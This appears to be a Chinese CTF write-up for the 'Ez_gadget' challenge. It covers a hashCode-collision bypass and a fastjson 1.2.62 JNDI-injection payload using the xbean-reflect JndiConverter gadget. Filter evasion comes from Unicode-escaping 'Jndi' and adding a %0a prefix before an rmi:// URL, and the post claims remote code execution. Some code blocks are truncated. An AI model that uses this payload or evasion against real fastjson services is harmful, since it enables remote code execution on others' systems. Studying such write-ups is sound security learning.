Ez_gadget
Ez_gadget
先对源码进行简单的审计
第一个绕过点是上图位置,需要一个str,它的hashcode和key的要相同,但是字符不能相同,具体的构造可以看这篇文章
Java 构建 HashCode 相同的字符串_java 中hash相同的字符-CSDN博客
1 | from urllib import parse |
1.2.62的版本在加上给了xbean-reflect的依赖包
exp为
1 | import com.alibaba.fastjson.JSON; |
这种形式,但是这里要绕过一下,rmi,ldap,jndi,\x都不被允许。
首先是jndi我们可以使用unicode编码进行绕过(平常也可以使用16进制,但是这里将\x禁用了),然后对于远程资源加载的compile匹配,我们可以使用%0a进行绕过。
1 | {\"@type\":\"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter\",\"AsText\":\"%0armi://localhost:1099/RO\"} |

成功rce
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 红烧花园宝宝!
评论
